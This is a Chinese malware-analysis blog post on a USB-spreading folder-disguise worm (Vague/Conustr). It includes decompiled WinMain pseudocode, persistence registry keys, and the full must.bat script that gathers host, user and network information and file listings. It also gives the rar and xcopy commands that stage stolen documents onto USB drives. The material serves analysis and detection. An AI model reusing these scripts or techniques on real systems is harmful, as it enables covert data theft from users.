一例Vague病毒的分析

这是一例通过U盘传播的文件夹病毒,有收集用户文件的行为,但是,没有回传和远控行为,有点奇怪,其中的字符串进行了加密。
样本比较简单,使用IDA很容易就看明白了。
根据匹配到威胁情报,有叫Vague蠕虫,也有叫Conustr,也没有找到其它相关的信息。

样本的基本信息

Verified:	Unsigned
Link date:	15:15 2013/8/26
MachineType:	32-bit
MD5:	E9A6B1346D1A2447CABB980F3CC5DD27
SHA1:	FE102A75E319AAB20F030299DF3A0A36204B4019
大小 136 KB (139,264 字节)
编译器: EP:Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]
编译器: Microsoft Visual C/C++(6.0)[libc]
链接程序: Microsoft Linker(6.0*)[GUI32]

使用文件夹图标
一例Vague病毒的分析_第1张图片

静态分析

winmain函数

首先注册了一个窗口类,创建一个名为DefaultIME IME的窗口并隐藏

设置注册表HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\NeverShowExt="",用于隐藏文件后缀名,这个样本修改注册表的方式有点特别,会生成一个文本文件(如下所示)保存为%temp%\ppxxx,然后执行regini.exe %temp%\ppxxx来修改注册表。后台添加开机启动项也采用这种方式。

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile
"NeverShowExt"= REG_SZ ""

若存在同名的文件夹,将其打开

以非共享模式创建文件 %temp%\~tmpx5.tmp ,相当于互斥量,防止双开,若打开失败,说明已经有一个实例在运行,退出 。

若当前程序路径不是%temp%\conhost.exe,说明是当前实例从U盘上运行,则将自身拷贝到%temp%\conhost.exe并隐藏,运行%temp%\conhost.exe,本实例退出。

释放并执行一个批处理文件,%temp%\must.bat,这个脚本用来获取主机的信息和文件列表,保存在%temp%\winword4.doc,运行后会自毁

解析系统Recent目录下lnk文件,将最近访问过的 *.doc、*.docx、*.pdf、*.mvd、 *.tif、 *.xls、*.xlsx文件和%temp%\winword4.doc,使用winrar程序打包进%temp%\WPDNSE\XXXXXXXX.NLS(XXXXXXXX为根据本地计算名生成的一个DWORD类型的整数的十六进制表示)

创建3个定时器,id为1、2、3,时间间隔分别为1小时、1分钟、10秒。

winmain函数结构很清楚,F5生成伪代码如下

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  int result; // eax
  struct tagMSG Msg; // [esp+Ch] [ebp-224h] BYREF
  WCHAR cmd; // [esp+28h] [ebp-208h] BYREF
  char v7[516]; // [esp+2Ah] [ebp-206h] BYREF
  __int16 v8; // [esp+22Eh] [ebp-2h]

  CoInitialize(0u);                             // 初始化化COM接口,后面打开link文件会用到
  SetErrorMode(0x8003u);                        // 设置不提示错误
  RegWindow_403980(hInstance);                  // 注册一个窗口类  classname = DefaultIME
  SetNeverShowExt_4014B0();                     // 设置注册表HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\NeverShowExt=""
                                                // 不显示文件扩展名
  result = (int)CreateWindow_403A20(hInstance, 0);// 创建一个窗口并隐藏,窗口名为DefaultIME IME
  if ( result )
  {
    SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNE_UPDATEDIR, 0u, 0u);// 更新文件类型关联配置,使上面设置的注册表项生效
    OpenDirInSameName_401070();                 // 打开同名的真正的文件夹
    Sleep(2013u);
    // 以非共享模式创建文件 %temp%\~tmpx5.tmp ,相当于互斥量,防止双开
    if ( CreateFile_401000(L"~tmpx5.tmp") == (HANDLE)INVALID_FILE_SIZE )
    {
      result = 0;                               // 若打开失败,说明已经有一个实例在运行,退出 
    }
    else if ( CopySelf_4012D0() == 1 )          // 若当前程序路径不是%temp%\conhost.exe,说明是在U盘上,则将自身拷贝到%temp%\conhost.exe并隐藏
    {
      cmd = 0;
      memset(v7, 0, sizeof(v7));
      v8 = 0;
      Gen_conhost_FileName_4013A0(&cmd);
      Exec_401870(&cmd, 0, 0);                  // 运行%temp%\conhost.exe,本实例退出
      result = 0;
    }
    else
    {                                           // 不是在U盘上运行
                                                // 初始化一个列表,保存要搜集的文件后缀名
      strcpy(file_ext0_40B5CE, "*.doc");        // *.doc
      strcpy(file_ext1_40B64E, "*.docx");       // *.docx
      strcpy(file_ext2_40B6CE, "*.pdf");        // *.pdf
      strcpy(file_ext3_40B74E, "*.mvd");        // *.mvd
      strcpy(file_ext4_40B7CE, "*.tif");        // *.tif
      strcpy(file_ext5_40B84E, "*.xls");        // *.xls
      strcpy(file_ext6_40B8CE, "*.xlsx");       // *.xlsx
      CreateAndExec_must_bat_402E90();          // 释放并执行%temp%\must.bat,获取主机的信息和文件列表,保存在%temp%\winword4.doc
      CollectFile_403500();                     // 将最近访问过的*.doc *.docx *.pdf *.mvd *.tif *.xls *.xlsx文件和%temp%\winword4.doc,
                                                // 使用winrar打包进%temp%\WPDNSE\XXXXXXXX.NLS
      SetTimer(hWnd, 1u, 3600000u, 0u);         // 创建了3个计时器 计时器1 1小时
      SetTimer(hWnd, 2u, 60001u, 0u);           // 计时器2 60s
      SetTimer(hWnd, 3u, 10002u, 0u);           // 计时器3 10s
      while ( GetMessageA(&Msg, 0u, 0u, 0u) )   // 消息循环
      {
        TranslateMessage(&Msg);
        DispatchMessageA(&Msg);
      }
      result = Msg.wParam;
    }
  }
  return result;
}

窗口函数

窗口函数的主要功能是处理三个定时器
定时器1:将最近访问过的*.doc *.docx *.pdf *.mvd *.tif *.xls *.xlsx文件和%temp%\winword4.doc
使用winrar打包进%temp%\WPDNSE\xxxxxxxx.NLS,并重设定时器

定时器2:在注册表中添加开机启动项,退出

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load=%temp%\conhost.exe

定时器3:遍历系统内的所有驱动器(包括网络驱动器),搜集文件,感染可移动存储介质
一例Vague病毒的分析_第2张图片

感染U盘

假设U盘的盘符为X
将自身拷贝到X:\RECYCLER\Dcfly.exe,若同名的文件已经存在,获取该文件的三个时间(CreationTime,LastAccessTime,LastWriteTime),若CreationTime.wSecond=20,CreationTime.wMilliseconds==444,LastWriteTime.wSecond=13,且比当前版本新,但执行U盘上的新版本,退出当前实例。

遍历U盘根目录的文件夹,跳过Recycled,RECYCLER,System,隐藏这些文件夹,将自身拷贝成同名文件,欺骗用户点击.

%temp%\WPDNSE\*.NLS%temp%\Media\*.ldf拷贝到X:\RECYCLER\下并隐藏,拷贝命令如下

C:\windows\system32\xcopy.exe /d /c /i /h /r /y %temp%\WPDNSE\*.NLS X:\RECYCLER\
C:\windows\system32\xcopy.exe /d /c /i /h /r /y %temp%\Media\*.ldf X:\RECYCLER\

X:\*.doc X:\*.docx X:\*.pdf X:\*.mvd X:\*.tif X:\*.xls X:\*.xlsx`` 打包进%temp%\WPDNSE\xxxxxxxx.NLS`

打包的命令

这个样本使用winrar程序来进行打包,执行命令如下,其中[X]为盘符,[yyyyMMdd]为当前日期,压缩的密码为ThisTw0Piece,[computer_name_hash]为当前系统计算名生成的一个DWORD类型的整数的16进制表示

"C:\Program Files\winrar\rar.exe" u -ap[X] -r -ed -tk -dh -s15000000 -hpThisTw0Piece -ta[yyyyMMdd] %temp%\WPDNSE\[computer_name_hash].NLS X:\*.doc X:\*.docx X:\.xls X:*xlsx X:\*.pdf X:\*.mvd X:\*.tif

"C:\Program Files\winrar\rar.exe" u -ap[X] -r -ed -tk -dh -s15000000 -hpThisTw0Piece -ta[yyyyMMdd] C:\Users\xxx\AppData\Local\Temp\WPDNSE\[computer_name_hash].NLS "[filename]"

must.bat

该样本会释放一个%temp%\must.bat的批处理脚本,内容如下,主要功能是采集系统信息和文件列表,保存在%temp%\winword4.doc,这个文件会被打包进NLS文件,运行完会自毁

@echo off
set xm2n=%temp%\winword4.doc
date /t  >%xm2n%
ver >>%xm2n%
net user >>%xm2n%
net localgroup administrators >>%xm2n%
net start >>%xm2n%
netstat -ano >>%xm2n%
tasklist >>%xm2n%
ipconfig /all >>%xm2n%
arp -a >>%xm2n%
systeminfo >>%xm2n%
net use >>%xm2n%
net view >>%xm2n%
net view /domain >>%xm2n%
net user /domain >>%xm2n%
dir c:\*.* /s/a/od >>%xm2n%
dir d:\*.* /s/a/od >>%xm2n%
dir e:\*.* /s/a/od >>%xm2n%
dir f:\*.* /s/a/od >>%xm2n%
dir g:\*.* /s/a/od >>%xm2n%
dir h:\*.* /s/a/od >>%xm2n%
dir i:\*.* /s/a/od >>%xm2n%
del """%0"""

IOC

文件
病毒本体
可移动存储介质上与文件夹同名的exe文件
X:\RECYCLER\Dcfly.exe 
%temp%\conhost.exe

%temp%\~tmpx5.tmp 用于防双开
X:\RECYCLER\*.ldf 不知道啥作用
%temp%\Media\*.ldf 不知道啥作用
%temp%\WPDNSE\[xxxxxxxx].NLS 压缩包,采集的本地和U盘中信息
%temp%\WPDNSE\[xxxxxxxx]@.NLS 压缩包,采集的远程驱动器的信息
X:\RECYCLER\[xxxxxxxx]@.NLS 压缩包
X:\RECYCLER\[xxxxxxxx].NLS 压缩包
%temp%\ppxxxx 注册表文件,临时文件,用完会删除
%temp%\winword4.doc 用于保存采集主机信息和文件列表的文本文件
%temp%\must.bat 用于采集主机信息和文件列表

注册表
隐藏文件后缀名
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile
NeverShowExt = ""
开机启动项
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
Load = "[%Temp%]\conhost.exe"

总结

这个样本是一个典型的通过摆渡的方式进行窃密的样本,通过感染U盘进行传播(将U盘根目录的文件夹隐藏,伪造成同名文件夹,欺骗用户点击执行),将终端的信息和特定类型的文件加密压缩保存在U盘中,有自我更新的功能,该样本依赖于winrar进行压缩和打包。有两个可疑的地方,一是该样本没有网络行为,二是目录%temp%\Media\和文件%temp%\Media\*.ldf起啥作用也不知道。

参考资料

  • 顽固木马清理专题之蠕虫篇《模糊的月光》
  • WORM_CONUSTR.A
  • How to remove Dcfly.exe
  • Como Eliminar Virus Que Convierte Las Carpetas En Archivos Exe

你可能感兴趣的:(恶意代码分析,恶意代码分析)